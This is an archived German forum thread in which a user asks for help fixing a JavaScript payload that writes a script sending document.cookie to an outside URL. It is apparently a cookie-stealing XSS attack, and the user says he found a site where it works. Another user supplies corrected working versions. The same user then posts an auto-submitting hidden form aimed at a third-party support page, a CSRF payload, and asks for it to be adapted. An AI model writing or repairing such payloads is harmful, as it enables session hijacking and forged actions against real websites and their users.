PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : document.write & document.location



DoiHustle
19.07.2010, 17:26
Hi,

ich habe gerade ein kleines Problem.


Ich kriegs einfach nicht gebacken.

Also:

document.write ("<script>document.location="http://URL.de/FILE.php?TAG=" + document.cookie;</script>")

Aber das funktioniert nicht, kennt sich da jemand mehr aus?

newkaiza
19.07.2010, 17:34
Hi,

ich habe gerade ein kleines Problem.


Ich kriegs einfach nicht gebacken.

Also:

document.write ("<script>document.location="http://URL.de/FILE.php?TAG=" + document.cookie;</script>")

Aber das funktioniert nicht, kennt sich da jemand mehr aus?

Nun dein Problem ist eig total simpel zu erkennen :

"<....>"<....>"<...>".


Wenn überhaupt dann wäre es so richtig:

document.write ("<script>document.location=\"http://URL.de/FILE.php?TAG=\" + document.cookie;</script>")wenn du die quotes innerhalb eines strings benutzt welches auch so anfängt, musst du es Backslashen (\).

Anders könntest du es natürlich auch so machen:

document.write ("<script>document.location='http://URL.de/FILE.php?TAG=' + document.cookie;</script>")Aber mal ne andere frage, was willst du denn erreichen, vllcht gibts ne viel bessere Lösung von dem was du vorhast.

DoiHustle
19.07.2010, 17:42
Anders könntest du es natürlich auch so machen:

document.write ("<script>document.location='http://URL.de/FILE.php?TAG=' + document.cookie;</script>")Aber mal ne andere frage, was willst du denn erreichen, vllcht gibts ne viel bessere Lösung von dem was du vorhast.

Genau was ich gesucht habe, vielen Dank!

Ich habe gerade eine Seite gefunden, wo ich damit Kekse speichern kann.

Sag mal, kann ich das auch als iFrame machen?
Mit document.write & iframe? Wäre eig vorteilhafter.

fred777
19.07.2010, 18:04
Ich verstehe nicht genau was du meinst. Du kannst mit document.write natürlich auch normales HTML generieren, sprich auch Iframes.

DoiHustle
19.07.2010, 18:08
Ich verstehe nicht genau was du meinst. Du kannst mit document.write natürlich auch normales HTML generieren, sprich auch Iframes.

Das Problem ist leider, das ich mich mit solch kleinen javascripts nicht auskenne.
Deswegen frage ich ja :)

fred777
19.07.2010, 18:11
----- Deleted -----

DoiHustle
19.07.2010, 18:31
Noch eine Frage:

<html>
<body onload="document.forms.form.submit();">
<form action="http://probesucher.de/?content=/intern/support" name="form">
<input type="hidden" name="antwort" value="hallo">
<input type="submit">
</form>
</body>
</html>

kann mir das jmd vll an: nopaste.info - free nopaste script and service (http://nopaste.info/b4139cba06.html) anpassen? komme einfach nich weiter :S